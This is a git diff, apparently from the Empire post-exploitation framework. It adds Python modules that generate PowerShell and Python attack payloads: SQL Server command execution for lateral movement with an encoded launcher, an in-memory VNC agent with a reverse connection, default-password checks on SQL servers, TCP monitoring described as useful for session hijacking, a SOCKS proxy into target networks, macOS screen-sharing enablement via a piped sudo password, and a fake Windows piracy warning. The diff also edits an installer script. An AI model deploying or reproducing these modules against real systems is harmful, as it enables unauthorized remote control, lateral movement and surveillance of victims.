'Command' : { + 'Description' : 'Custom command to execute on remote hosts.', + 'Required' : False, + 'Value' : '' + }, + 'UserName' : { + 'Description' : '[domain\]username to use to execute command.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'Password to use to execute command.', + 'Required' : False, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + self.mainMenu = mainMenu + for param in params: + option, value = param + if option in self.options: + self.options[option]['Value'] = value + def generate(self): + + credID = self.options["CredID"]['Value'] + if credID != "": + if not self.mainMenu.credentials.is_credential_valid(credID): + print helpers.color("[!] CredID is invalid!") + return "" + (credID, credType, domainName, username, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] + if domainName != "": + self.options["UserName"]['Value'] = str(domainName) + "\\" + str(username) + else: + self.options["UserName"]['Value'] = str(username) + if password != "": + self.options["Password"]['Value'] = password + + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + instance = self.options['Instance']['Value'] + command = self.options['Command']['Value'] + username = self.options['UserName']['Value'] + password = self.options['Password']['Value'] + + + moduleSource = self.mainMenu.installPath + "data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1" + moduleCode = "" + try: + with open(moduleSource, 'r') as source: + moduleCode = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + script = moduleCode + + + if command == "": + if not self.mainMenu.listeners.is_listener_valid(listenerName): + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + if launcher == "": + return "" + else: + command = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher + + + script += "Invoke-SQLOSCmd -Instance \"%s\" -Command \"%s\"" % (instance, command) + + if username != "": + script += " -UserName "+username + if password != "": + script += " -Password "+password + return script diff --git a/lib/modules/powershell/management/vnc.py b/lib/modules/powershell/management/vnc.py new file mode 100644 index 0000000..dfd2863 --- /dev/null +++ b/lib/modules/powershell/management/vnc.py @@ -0,0 +1,102 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-Vnc', + + 'Author': ['@n00py'], + + 'Description': ('Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/artkond/Invoke-Vnc' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Port' : { + 'Description' : 'Port to Use.', + 'Required' : True, + 'Value' : '5900' + }, + 'Password' : { + 'Description' : 'Password to use.', + 'Required' : True, + 'Value' : 'password' + }, + 'ConType' : { + 'Description' : 'Connection type, choose \"bind\" or \"reverse\".', + 'Required' : True, + 'Value' : 'bind' + } + , + 'IpAddress' : { + 'Description' : 'IP Address to use for reverse connection.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in th Invoke-Vnc.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Vnc.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + script += "\nInvoke-Vnc" + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + return script diff --git a/lib/modules/powershell/recon/get_sql_server_login_default_pw.py b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py new file mode 100644 index 0000000..1b92afc --- /dev/null +++ b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py @@ -0,0 +1,98 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SQLServerLoginDefaultPw', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Based on the instance name, test if SQL Server ' + 'is configured with default passwords.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1', + 'https://github.com/pwnwiki/pwnwiki.github.io/blob/master/tech/db/mssql.md' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with. Only used for CheckAll', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with. Only used for CheckAll', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'SQL Server instance to connection to.', + 'Required' : False, + 'Value' : '' + }, + 'CheckAll' : { + 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.', + 'Required' : False, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + instance = self.options['Instance']['Value'] + check_all = self.options['CheckAll']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + if check_all: + auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + try: + with open(auxModuleSource, 'r') as auxSource: + auxScript = auxSource.read() + script += " " + auxScript + except: + print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) + script += " Get-SQLInstanceDomain " + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + script += " | Select Instance | " + script += " Get-SQLServerLoginDefaultPw" + if instance != "" and not check_all: + script += " -Instance "+instance + return script \ No newline at end of file diff --git a/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py b/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py new file mode 100644 index 0000000..08ed64e --- /dev/null +++ b/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py @@ -0,0 +1,116 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Start-MonitorTCPConnections', + + # list of one or more authors for the module + 'Author': ['@erikbarzdukas'], + + # more verbose multi-line description of the module + 'Description': ('Monitors hosts for TCP connections to a specified domain name or IPv4 address.' + ' Useful for session hijacking and finding users interacting with sensitive services.'), + + # True if the module needs to run in the background + 'Background' : True, + + # File extension to save the file as + 'OutputExtension' : None, + + # True if the module needs admin rights to run + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # the language for this module + 'Language' : 'powershell', + + # The minimum PowerShell version needed for the module to run + 'MinLanguageVersion' : '2', + + # list of any references/other comments + 'Comments': [ + 'Based on code from Tim Ferrell.', + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to monitor from.', + 'Required' : True, + 'Value' : '' + }, + 'TargetDomain' : { + 'Description' : 'Domain name or IPv4 address of target service.', + 'Required' : True, + 'Value' : '' + }, + 'CheckInterval' : { + 'Description' : 'Interval in seconds to check for the connection', + 'Required' : True, + 'Value' : '15' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # the PowerShell script itself, with the command to invoke + # for execution appended to the end. Scripts should output + # everything to the pipeline for proper parsing. + # + # the script should be stripped of comments, with a link to any + # original reference script included in the comments. + + # if you're reading in a large, external script that might be updates, + # use the pattern below + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Start-MonitorTCPConnections.ps1" + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + script += "Start-TCPMonitor" + + # add any arguments to the end execution of the script + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + return script diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py new file mode 100644 index 0000000..5ac139d --- /dev/null +++ b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py @@ -0,0 +1,118 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name' : 'Get-SQLInstanceDomain', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Returns a list of SQL Server instances discovered by querying ' + 'a domain controller for systems with registered MSSQL service ' + 'principal names. The function will default to the current user\'s ' + 'domain and logon server, but an alternative domain controller ' + 'can be provided. UDP scanning of management servers is optional.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : "Domain controller for Domain and Site that you want to query against.", + 'Required' : False, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'Computer name to filter for.', + 'Required' : False, + 'Value' : '' + }, + 'DomainServiceAccount' : { + 'Description' : 'Domain account to filter for.', + 'Required' : False, + 'Value' : '' + }, + 'CheckMgmt' : { + 'Description' : 'Performs UDP scan of servers managing SQL Server clusters.', + 'Required' : False, + 'Value' : 'False' + }, + 'UDPTimeOut' : { + 'Description' : 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.', + 'Required' : False, + 'Value' : '3' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with.', + 'Required' : False, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + domainController = self.options['DomainController']['Value'] + computerName = self.options['ComputerName']['Value'] + domainAccount = self.options['DomainServiceAccount']['Value'] + checkMgmt = self.options['CheckMgmt']['Value'] + udpTimeOut = self.options['UDPTimeOut']['Value'] + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + script += " Get-SQLInstanceDomain" + if username != "": + script += " -Username " + username + if password != "": + script += " -Password " + password + if domainController != "": + script += " -DomainController "+domainController + if computerName != "": + script += " -ComputerName "+computerName + if domainAccount != "": + script += " -DomainAccount "+domainAccount + if checkMgmt.lower() != "false": + script += " -CheckMgmt" + if udpTimeOut != "": + script += " -UDPTimeOut "+udpTimeOut + + return script diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py new file mode 100644 index 0000000..e65c388 --- /dev/null +++ b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py @@ -0,0 +1,101 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SQLServerInfo', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Returns basic server and user information from target SQL Servers.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'SQL Server instance to connection to.', + 'Required' : False, + 'Value' : '' + }, + 'CheckAll' : { + 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain', + 'Required' : False, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + instance = self.options['Instance']['Value'] + check_all = self.options['CheckAll']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + if check_all: + auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + try: + with open(auxModuleSource, 'r') as auxSource: + auxScript = auxSource.read() + script += " " + auxScript + except: + print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) + script += " Get-SQLInstanceDomain " + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + script += " | " + script += " Get-SQLServerInfo" + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + if instance != "" and not check_all: + script += " -Instance "+instance + + return script diff --git a/lib/modules/powershell/trollsploit/wlmdr.py b/lib/modules/powershell/trollsploit/wlmdr.py new file mode 100644 index 0000000..65d9ca4 --- /dev/null +++ b/lib/modules/powershell/trollsploit/wlmdr.py @@ -0,0 +1,111 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-WLMDR', + + 'Author': ['@benichmt1'], + + 'Description': ("Displays a balloon reminder in the taskbar."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + '' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Message' : { + 'Description' : 'Message text to display.', + 'Required' : True, + 'Value' : 'You are using a pirated version of Microsoft Windows.' + }, + 'IconType' : { + 'Description' : 'Critical, Exclamation, Information, Key, or None', + 'Required' : True, + 'Value' : 'Key' + }, + 'Title' : { + 'Description' : 'Title of the message box to display.', + 'Required' : True, + 'Value' : 'Windows Explorer' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + script = """ +function Invoke-Wlrmdr { + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, Position = 0)] + [String] $Message = "You are using pirated Windows", + + [Parameter(Mandatory = $True, Position = 1)] + [String] $IconType = "Key", + [Parameter(Mandatory = $True, Position = 2)] + [String] $Title = "Windows Explorer" + ) +$command = "wlrmdr.exe -s 60000 -f " +$Iaintgotnotype = switch ($IconType) + { + "Critical" {6} + "Exclamation" {5} + "Information" {1} + "Key" {4} + "None" {0} + default {0} + } +$command += $Iaintgotnotype +$command += "-t " +$command += $Title +$command += " -m " +$command += $Message +$command += " -a 10 -u calc" +iex $command +} +Invoke-Wlrmdr""" + + for option,values in self.options.iteritems(): + if option.lower() != "agent" and option.lower() != "computername": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\"" + + return script diff --git a/lib/modules/powershell_template.py b/lib/modules/powershell_template.py index 0eb8cbe..7a9192e 100644 --- a/lib/modules/powershell_template.py +++ b/lib/modules/powershell_template.py @@ -1,97 +1,97 @@ from lib.common import helpers + class Module: def __init__(self, mainMenu, params=[]): - # metadata info about the module, not modified during runtime + # Metadata info about the module, not modified during runtime self.info = { - # name for the module that will appear in module menus + # Name for the module that will appear in module menus 'Name': 'Invoke-Something', - # list of one or more authors for the module + # List of one or more authors for the module 'Author': ['@yourname'], - # more verbose multi-line description of the module - 'Description': ('description line 1' + # More verbose multi-line description of the module + 'Description': ('description line 1 ' 'description line 2'), # True if the module needs to run in the background - 'Background' : False, + 'Background': False, # File extension to save the file as - 'OutputExtension' : None, + 'OutputExtension': None, # True if the module needs admin rights to run - 'NeedsAdmin' : False, + 'NeedsAdmin': False, # True if the method doesn't touch disk/is reasonably opsec safe - 'OpsecSafe' : True, - - # the language for this module - 'Language' : 'powershell', + 'OpsecSafe': True, + + # The language for this module + 'Language': 'powershell', # The minimum PowerShell version needed for the module to run - 'MinLanguageVersion' : '2', + 'MinLanguageVersion': '2', - # list of any references/other comments + # List of any references/other comments 'Comments': [ 'comment', 'http://link/' ] } - # any options needed by the module, settable during runtime + # Any options needed by the module, settable during runtime self.options = { - # format: + # Format: # value_name : {description, required, default_value} - 'Agent' : { + 'Agent': { # The 'Agent' option is the only one that MUST be in a module - 'Description' : 'Agent to grab a screenshot from.', - 'Required' : True, - 'Value' : '' + 'Description': 'Agent to grab a screenshot from.', + 'Required' : True, + 'Value' : '' }, - 'Command' : { - 'Description' : 'Command to execute', - 'Required' : True, - 'Value' : 'test' + 'Command': { + 'Description': 'Command to execute', + 'Required' : True, + 'Value' : 'test' } } - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. + # Save off a copy of the mainMenu object to access external + # functionality like listeners/agent handlers/etc. self.mainMenu = mainMenu - # During instantiation, any settable option parameters - # are passed as an object set to the module and the - # options dictionary is automatically set. This is mostly - # in case options are passed on the command line + # During instantiation, any settable option parameters are passed as + # an object set to the module and the options dictionary is + # automatically set. This is mostly in case options are passed on + # the command line. if params: for param in params: - # parameter format is [Name, Value] + # Parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): - - # the PowerShell script itself, with the command to invoke - # for execution appended to the end. Scripts should output - # everything to the pipeline for proper parsing. + + # The PowerShell script itself, with the command to invoke for + # execution appended to the end. Scripts should output everything + # to the pipeline for proper parsing. # - # the script should be stripped of comments, with a link to any - # original reference script included in the comments. - script = """ -function Invoke-Something { - -} -Invoke-Something""" - - - # if you're reading in a large, external script that might be updates, - # use the pattern below - # read in the common module source code + # If you're planning on storing your script in module_source as a ps1, + # or if you're importing a shared module_source, use the first + # method to import it and the second to add any additional code and + # launch it. + # + # If you're just going to inline your script, you can delete the first + # method entirely and just use the second. The script should be + # stripped of comments, with a link to any original reference script + # included in the comments. + # + # First method: Read in the source script from module_source moduleSource = self.mainMenu.installPath + "/data/module_source/..." if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) @@ -105,11 +105,32 @@ Invoke-Something""" moduleCode = f.read() f.close() + # If you'd just like to import a subset of the functions from the + # module source, use the following: + # script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"]) script = moduleCode + # Second method: For calling your imported source, or holding your + # inlined script. If you're importing source using the first method, + # ensure that you append to the script variable rather than set. + # + # The script should be stripped of comments, with a link to any + # original reference script included in the comments. + # + # If your script is more than a few lines, it's probably best to use + # the first method to source it. + # + # script += """ + script = """ +function Invoke-Something { + +} +Invoke-Something""" + scriptEnd = "" - # add any arguments to the end execution of the script - for option,values in self.options.iteritems(): + + # Add any arguments to the end execution of the script + for option, values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": diff --git a/lib/modules/python/collection/osx/screenshot.py b/lib/modules/python/collection/osx/screenshot.py index bf19fa1..e3ec6b5 100644 --- a/lib/modules/python/collection/osx/screenshot.py +++ b/lib/modules/python/collection/osx/screenshot.py @@ -73,7 +73,7 @@ class Module: script = """ # take a screenshot using screencapture -run_command('screencapture -x /tmp/out.png') +run_command('screencapture -x %s') # base64 up resulting file, delete the file, return the base64 of the png output # mocked from the Empire screenshot module f = open('%s', 'rb') @@ -81,6 +81,6 @@ data = f.read() f.close() run_command('rm -f %s') print data -""" % (savePath, savePath) +""" % (savePath, savePath, savePath) return script diff --git a/lib/modules/python/management/multi/socks.py b/lib/modules/python/management/multi/socks.py new file mode 100644 index 0000000..9f719cc --- /dev/null +++ b/lib/modules/python/management/multi/socks.py @@ -0,0 +1,99 @@ +from lib.common import helpers +import os +import string + + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'SOCKSv5 proxy', + + # list of one or more authors for the module + 'Author': ['@klustic'], + + # more verbose multi-line description of the module + 'Description': ('Extend a SOCKSv5 proxy into your target network'), + + # True if the module needs to run in the background + 'Background': True, + + # File extension to save the file as + # no need to base64 return data + 'OutputExtension': None, + + 'NeedsAdmin': False, + + # the module language + 'Language' : 'python', + + # the minimum language version needed + 'MinLanguageVersion' : '2.7', + + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe': True, + + # list of any references/other comments + 'Comments': [ + 'Modified from: https://github.com/klustic/AlmondRocks', + 'Use the server found in that Github repo with this module.' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent': { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to proxy through', + 'Required' : True, + 'Value' : '' + }, + 'HOST': { + 'Description' : 'Host running the AlmondRocks server', + 'Required' : True, + 'Value' : '' + }, + 'PORT': { + 'Description' : 'AlmondRocks server port', + 'Required' : True, + 'Value' : '' + }, + 'NoSSL': { + 'Description' : 'Disable SSL (NOT RECOMMENDED!)', + 'Required' : False, + 'Value' : 'false' + } + } + + self.mainMenu = mainMenu + if params: + for option, value in params: + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + module_path = os.path.join(self.mainMenu.installPath, + 'data/module_source/python/lateral_movement/socks_source.py') + + try: + with open(module_path) as f: + script_template = string.Template(f.read()) + except Exception as e: + print helpers.color('[!] Error reading {}: {}'.format(str(module_path), e)) + return "" + + options = {x.lower(): y for x, y in self.options.items()} + host = options.get('host', {}).get('Value') + port = options.get('port', {}).get('Value') + if options.get('nossl', {}).get('Value', 'false').lower() == 'true': + no_ssl = True + else: + no_ssl = False + + return script_template.substitute(host=host, port=port, no_ssl=no_ssl) diff --git a/lib/modules/python/management/osx/screen_sharing.py b/lib/modules/python/management/osx/screen_sharing.py new file mode 100644 index 0000000..cacdaf5 --- /dev/null +++ b/lib/modules/python/management/osx/screen_sharing.py @@ -0,0 +1,86 @@ +from lib.common import helpers + + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'ScreenSharing', + + # list of one or more authors for the module + 'Author': ['@n00py'], + + # more verbose multi-line description of the module + 'Description': ('Enables ScreenSharing to allow you to connect to the host via VNC.'), + + # True if the module needs to run in the background + 'Background' : False, + + # File extension to save the file as + 'OutputExtension' : "", + + # if the module needs administrative privileges + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : True, + + # the module language + 'Language' : 'python', + + # the minimum language version needed + 'MinLanguageVersion' : '2.6', + + # list of any references/other comments + 'Comments': ['https://www.unix-ninja.com/p/Enabling_macOS_screen_sharing_VNC_via_command_line'] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'User password for sudo.', + 'Required' : True, + 'Value' : '' + }, + 'VNCpass' : { + 'Description' : 'Password to use for VNC', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + + + password = self.options['Password']['Value'] + vncpass = self.options['VNCpass']['Value'] + + enable = "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -clientopts -setvnclegacy -vnclegacy yes -clientopts -setvncpw -vncpw %s -restart -agent -privs -all" % (vncpass) + script = 'import subprocess; subprocess.Popen("echo \\"%s\\" | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, enable) + return script diff --git a/setup/install.sh b/setup/install.sh index ad7132a..300c452 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -15,7 +15,7 @@ fi version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 ) if lsb_release -d | grep -q "Fedora"; then Release=Fedora - dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel + dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl-dev pip install setuptools pip install pycrypto pip install iptools @@ -23,13 +23,12 @@ if lsb_release -d | grep -q "Fedora"; then pip install flask pip install macholib pip install dropbox - pip install pyopenssl + pip install pyOpenSSL pip install pyinstaller pip install zlib_wrapper elif lsb_release -d | grep -q "Kali"; then Release=Kali - apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libssl-dev - easy_install pip + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev pip install setuptools pip install pycrypto pip install iptools @@ -37,7 +36,7 @@ elif lsb_release -d | grep -q "Kali"; then pip install flask pip install macholib pip install dropbox - pip install pyopenssl + pip install pyOpenSSL pip install pyinstaller pip install zlib_wrapper if ! which powershell > /dev/null; then @@ -54,8 +53,7 @@ elif lsb_release -d | grep -q "Kali"; then cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules elif lsb_release -d | grep -q "Ubuntu"; then Release=Ubuntu - apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libssl-dev - easy_install pip + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev pip install setuptools pip install pycrypto pip install iptools @@ -81,8 +79,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules else echo "Unknown distro - Debian/Ubuntu Fallback" - apt-get install -y make g++ python-dev python-m2crypto swig libxml2-dev default-jdk libffi-dev libssl-dev - easy_install pip + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev pip install setuptools pip install pycrypto pip install iptools @@ -91,7 +88,7 @@ else pip install macholib pip install dropbox pip install cryptography - pip install python-openssl + pip install pyOpenSSL pip install pyinstaller pip install zlib_wrapper if ! which powershell > /dev/null; then